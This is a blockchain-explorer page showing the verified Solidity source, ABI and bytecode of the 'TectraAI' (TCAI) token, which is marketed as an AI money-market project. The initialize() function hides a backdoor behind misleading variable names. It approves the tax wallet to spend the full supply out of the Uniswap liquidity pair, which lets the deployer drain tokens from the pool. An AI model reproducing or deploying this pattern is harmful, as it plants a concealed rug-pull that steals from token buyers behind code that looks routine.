Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract TCAI is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function sendETHToFee(uint256 amount)    - function swapTokensForEth(uint256 tok ...    - function initialize ()    - function launch()    - function toggleLimits ()    - function setTax (uint256 _valueBuy, u ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-18
*/

/**
TectraAI is a AI based cross-chain money market for earning passive yield and accessing instant backed loans.

Web: https://tectra.loan
X: https://x.com/TectraAI_Loan
Tg: https://t.me/tectra_loan_official
M: https://medium.com/@tectra.loan
**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TCAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private  _taxWallet;
    address private constant deadAddress = address(0xdead);

    uint256 private constant _initialBuyTax =15;
    uint256 private constant _initialSellTax=15;
    uint256 private constant _reduceBuyTaxAt=11;
    uint256 private constant _reduceSellTaxAt=11;
    uint256 private constant _preventSwapBefore=11;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name   = unicode"TectraAI";
    string private constant _symbol = unicode"TCAI";
    uint256 public constant _taxSwapThreshold = 100000 * 10**_decimals;
    uint256 public constant _maxTaxSwap = 1000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1500000 * 10**_decimals;
    uint256 public _maxWalletSize = 1500000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private limitEffect = true;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event FinalTax (uint256 _valueBuy, uint256 _valueSell);
    event Launch (bool _tradingOpen,bool _swapEnabled);
    event maxAmount(uint256 _value);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet) {
         _taxWallet = payable (taxWallet);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[deadAddress]= true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {

            if (!tradingOpen) {
                require( 
                  _isExcludedFromFee[from] || _isExcludedFromFee[to],
                  "trading is not yet open"
                );
            } 

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                if (limitEffect) {
                    require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                } 
                _buyCount++;
            }
            
            if ( to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul 
                ((_buyCount>_reduceSellTaxAt)
                    ?_finalSellTax:_initialSellTax).div(100
                );
            } else if (from == uniswapV2Pair && to!= address(this) ){
                taxAmount = amount.mul
                ((_buyCount>_reduceBuyTaxAt)
                    ?_finalBuyTax:_initialBuyTax).div(100
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && 
                to == uniswapV2Pair && 
                swapEnabled && 
                contractTokenBalance>_taxSwapThreshold && 
                _buyCount>_preventSwapBefore
            ){
                uint256 getMin = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
                uint256 amountToSwap = (amount>getMin)?getMin:amount;
                swapTokensForEth(amountToSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function initialize () external onlyOwner {
        require(!tradingOpen,"init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(_tTotal.mul(_initialBuyTax).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address pairAddress = _taxWallet;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH()
        );
        address routerAddress = uniswapV2Pair;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        _approve(routerAddress, pairAddress, _tTotal);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
    }

    function launch() external onlyOwner {
        require(!tradingOpen,"trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit Launch (tradingOpen,swapEnabled);
    }

    function toggleLimits () external onlyOwner {
        limitEffect = false;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit maxAmount (_tTotal);
    }
    
    function setTax (uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
        require(_valueBuy <= 30 && _valueSell <= 30 && tradingOpen, "Exceeds value");
        _finalBuyTax = _valueBuy;
        _finalSellTax = _valueSell;
        emit FinalTax(_valueBuy, _valueSell);
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"Launch","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"toggleLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160058190556006556000600755620000216009600a6200033c565b62000030906216e36062000354565b600855620000416009600a6200033c565b62000050906216e36062000354565b600955600b805462ffffff60a81b1916600160a81b1790553480156200007557600080fd5b5060405162001d9e38038062001d9e83398101604081905262000098916200036e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620001026009600a6200033c565b62000112906305f5e10062000354565b3360009081526001602081905260408220929092556003906200013d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454909116815260039092528082208054841660019081179091557f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c805485168217905530835291208054909216179055620001c53390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ff6009600a6200033c565b6200020f906305f5e10062000354565b60405190815260200160405180910390a35062000399565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027e57816000190482111562000262576200026262000227565b808516156200027057918102915b93841c939080029062000242565b509250929050565b600082620002975750600162000336565b81620002a65750600062000336565b8160018114620002bf5760028114620002ca57620002ea565b600191505062000336565b60ff841115620002de57620002de62000227565b50506001821b62000336565b5060208310610133831016604e8410600b84101617156200030f575081810a62000336565b6200031b83836200023d565b806000190482111562000332576200033262000227565b0290505b92915050565b60006200034d60ff84168362000286565b9392505050565b808202811582820484141762000336576200033662000227565b6000602082840312156200038157600080fd5b81516001600160a01b03811681146200034d57600080fd5b6119f580620003a96000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c0146102f557806395d89b411461030b578063a9059cbb14610338578063bf474bed14610358578063dd62ed3e1461036d57600080fd5b806370a0823114610257578063715018a61461028d5780637d1db4a5146102a25780638129fc1c146102b85780638da5cb5b146102cd57600080fd5b806314228b0b116100e757806314228b0b146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461021b578063667f65261461023757600080fd5b806301339c211461012457806306fdde031461013b578063095ea7b31461017e5780630faee56f146101ae57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103b3565b005b34801561014757600080fd5b50604080518082019091526008815267546563747261414960c01b60208201525b60405161017591906115a2565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611608565b6104a5565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c36104bc565b604051908152602001610175565b3480156101dd57600080fd5b506101396104d8565b3480156101f257600080fd5b506101c3610594565b34801561020757600080fd5b5061019e610216366004611634565b6105b5565b34801561022757600080fd5b5060405160098152602001610175565b34801561024357600080fd5b50610139610252366004611675565b61061e565b34801561026357600080fd5b506101c3610272366004611697565b6001600160a01b031660009081526001602052604090205490565b34801561029957600080fd5b506101396106f2565b3480156102ae57600080fd5b506101c360085481565b3480156102c457600080fd5b50610139610766565b3480156102d957600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030157600080fd5b506101c360095481565b34801561031757600080fd5b506040805180820190915260048152635443414960e01b6020820152610168565b34801561034457600080fd5b5061019e610353366004611608565b610b5d565b34801561036457600080fd5b506101c3610b6a565b34801561037957600080fd5b506101c36103883660046116b4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103e65760405162461bcd60e51b81526004016103dd906116ed565b60405180910390fd5b600b54600160a01b900460ff16156104375760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016103dd565b600b805463ff0000ff60a01b1916630100000160a01b17908190556040805160ff600160a01b8404811615158252600160b81b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91015b60405180910390a1565b60006104b2338484610b83565b5060015b92915050565b6104c86009600a61181c565b6104d590620f424061182b565b81565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016103dd906116ed565b600b805460ff60a81b1916905561051b6009600a61181c565b610529906305f5e10061182b565b6008556105386009600a61181c565b610546906305f5e10061182b565b60099081557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f99061057890600a61181c565b610586906305f5e10061182b565b60405190815260200161049b565b60006105a26009600a61181c565b6105b0906305f5e10061182b565b905090565b60006105c2848484610c50565b610614843361060f85604051806060016040528060288152602001611998602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611216565b610b83565b5060019392505050565b6000546001600160a01b031633146106485760405162461bcd60e51b81526004016103dd906116ed565b601e821115801561065a5750601e8111155b801561066f5750600b54600160a01b900460ff165b6106ab5760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b60448201526064016103dd565b6005829055600681905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016103dd906116ed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107905760405162461bcd60e51b81526004016103dd906116ed565b600b54600160a01b900460ff16156107e05760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016103dd565b600061082b610815606461080f600f6107fb6009600a61181c565b610809906305f5e10061182b565b90611250565b906112d9565b306000908152600160205260409020549061131b565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556004549293506001600160a01b039290921691610887913091906108799060099061181c565b61060f906305f5e10061182b565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe9190611842565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610960573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109849190611842565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f59190611842565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a80549192610a2f9230929116906108799060099061181c565b600a546040805163f305d71960e01b81523060048201526024810186905260006044820181905260648201523360848201524260a482015290516001600160a01b039092169163f305d71991479160c4808301926060929190829003018185885af1158015610aa2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac7919061185f565b505050610add81836009600a610879919061181c565b600b54600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b57919061188d565b50505050565b60006104b2338484610c50565b610b766009600a61181c565b6104d590620186a061182b565b6001600160a01b03831615801590610ba357506001600160a01b03821615155b610bef5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016103dd565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610c7057506001600160a01b03821615155b610cbc5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016103dd565b60008111610d1e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103dd565b600080546001600160a01b03858116911614801590610d4b57506000546001600160a01b03848116911614155b156110d357600b54600160a01b900460ff16610dec576001600160a01b03841660009081526003602052604090205460ff1680610da057506001600160a01b03831660009081526003602052604090205460ff165b610dec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206973206e6f7420796574206f70656e00000000000000000060448201526064016103dd565b600b546001600160a01b038581169116148015610e175750600a546001600160a01b03848116911614155b8015610e3c57506001600160a01b03831660009081526003602052604090205460ff16155b15610f3657600b54600160a81b900460ff1615610f2057600854821115610ea55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103dd565b60095482610ec8856001600160a01b031660009081526001602052604090205490565b610ed291906118af565b1115610f205760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103dd565b60078054906000610f30836118c2565b91905055505b600b546001600160a01b038481169116148015610f5c57506001600160a01b0384163014155b15610f8c57610f85606461080f600b60075411610f7a57600f610f7e565b6006545b8590611250565b9050610fdd565b600b546001600160a01b038581169116148015610fb257506001600160a01b0383163014155b15610fdd57610fda606461080f600b60075411610fd057600f610f7e565b6005548590611250565b90505b30600090815260016020526040902054600b54600160b01b900460ff161580156110145750600b546001600160a01b038581169116145b80156110295750600b54600160b81b900460ff165b801561104c575061103c6009600a61181c565b61104990620186a061182b565b81115b801561105a5750600b600754115b156110d157600061106d6009600a61181c565b61107a90620f424061182b565b8211611086578161109f565b6110926009600a61181c565b61109f90620f424061182b565b905060008185116110b057846110b2565b815b90506110bd8161135d565b4780156110cd576110cd476114d7565b5050505b505b801561114d57306000908152600160205260409020546110f39082611515565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111449085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054611170908361131b565b6001600160a01b0385166000908152600160205260409020556111b5611196838361131b565b6001600160a01b03851660009081526001602052604090205490611515565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111ff858561131b565b60405190815260200160405180910390a350505050565b6000818484111561123a5760405162461bcd60e51b81526004016103dd91906115a2565b50600061124784866118db565b95945050505050565b600082600003611262575060006104b6565b600061126e838561182b565b90508261127b85836118ee565b146112d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103dd565b9392505050565b60006112d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611574565b60006112d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611216565b600b805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a5576113a5611910565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114229190611842565b8160018151811061143557611435611910565b6001600160a01b039283166020918202929092010152600a5461145b9130911684610b83565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611494908590600090869030904290600401611926565b600060405180830381600087803b1580156114ae57600080fd5b505af11580156114c2573d6000803e3d6000fd5b5050600b805460ff60b01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611511573d6000803e3d6000fd5b5050565b60008061152283856118af565b9050838110156112d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103dd565b600081836115955760405162461bcd60e51b81526004016103dd91906115a2565b50600061124784866118ee565b600060208083528351808285015260005b818110156115cf578581018301518582016040015282016115b3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461160557600080fd5b50565b6000806040838503121561161b57600080fd5b8235611626816115f0565b946020939093013593505050565b60008060006060848603121561164957600080fd5b8335611654816115f0565b92506020840135611664816115f0565b929592945050506040919091013590565b6000806040838503121561168857600080fd5b50508035926020909101359150565b6000602082840312156116a957600080fd5b81356112d2816115f0565b600080604083850312156116c757600080fd5b82356116d2816115f0565b915060208301356116e2816115f0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177357816000190482111561175957611759611722565b8085161561176657918102915b93841c939080029061173d565b509250929050565b60008261178a575060016104b6565b81611797575060006104b6565b81600181146117ad57600281146117b7576117d3565b60019150506104b6565b60ff8411156117c8576117c8611722565b50506001821b6104b6565b5060208310610133831016604e8410600b84101617156117f6575081810a6104b6565b6118008383611738565b806000190482111561181457611814611722565b029392505050565b60006112d260ff84168361177b565b80820281158282048414176104b6576104b6611722565b60006020828403121561185457600080fd5b81516112d2816115f0565b60008060006060848603121561187457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561189f57600080fd5b815180151581146112d257600080fd5b808201808211156104b6576104b6611722565b6000600182016118d4576118d4611722565b5060010190565b818103818111156104b6576104b6611722565b60008261190b57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119765784516001600160a01b031683529383019391830191600101611951565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220412a54e2815e7ce453c2d72037f82b649e2508d0f64dda40ba5238c68e3882be64736f6c6343000813003300000000000000000000000074da670b9737f2677e037aa2b30fc4ddfd0c3f04

0x6080604052600436106101185760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c0146102f557806395d89b411461030b578063a9059cbb14610338578063bf474bed14610358578063dd62ed3e1461036d57600080fd5b806370a0823114610257578063715018a61461028d5780637d1db4a5146102a25780638129fc1c146102b85780638da5cb5b146102cd57600080fd5b806314228b0b116100e757806314228b0b146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461021b578063667f65261461023757600080fd5b806301339c211461012457806306fdde031461013b578063095ea7b31461017e5780630faee56f146101ae57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103b3565b005b34801561014757600080fd5b50604080518082019091526008815267546563747261414960c01b60208201525b60405161017591906115a2565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611608565b6104a5565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c36104bc565b604051908152602001610175565b3480156101dd57600080fd5b506101396104d8565b3480156101f257600080fd5b506101c3610594565b34801561020757600080fd5b5061019e610216366004611634565b6105b5565b34801561022757600080fd5b5060405160098152602001610175565b34801561024357600080fd5b50610139610252366004611675565b61061e565b34801561026357600080fd5b506101c3610272366004611697565b6001600160a01b031660009081526001602052604090205490565b34801561029957600080fd5b506101396106f2565b3480156102ae57600080fd5b506101c360085481565b3480156102c457600080fd5b50610139610766565b3480156102d957600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030157600080fd5b506101c360095481565b34801561031757600080fd5b506040805180820190915260048152635443414960e01b6020820152610168565b34801561034457600080fd5b5061019e610353366004611608565b610b5d565b34801561036457600080fd5b506101c3610b6a565b34801561037957600080fd5b506101c36103883660046116b4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103e65760405162461bcd60e51b81526004016103dd906116ed565b60405180910390fd5b600b54600160a01b900460ff16156104375760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b2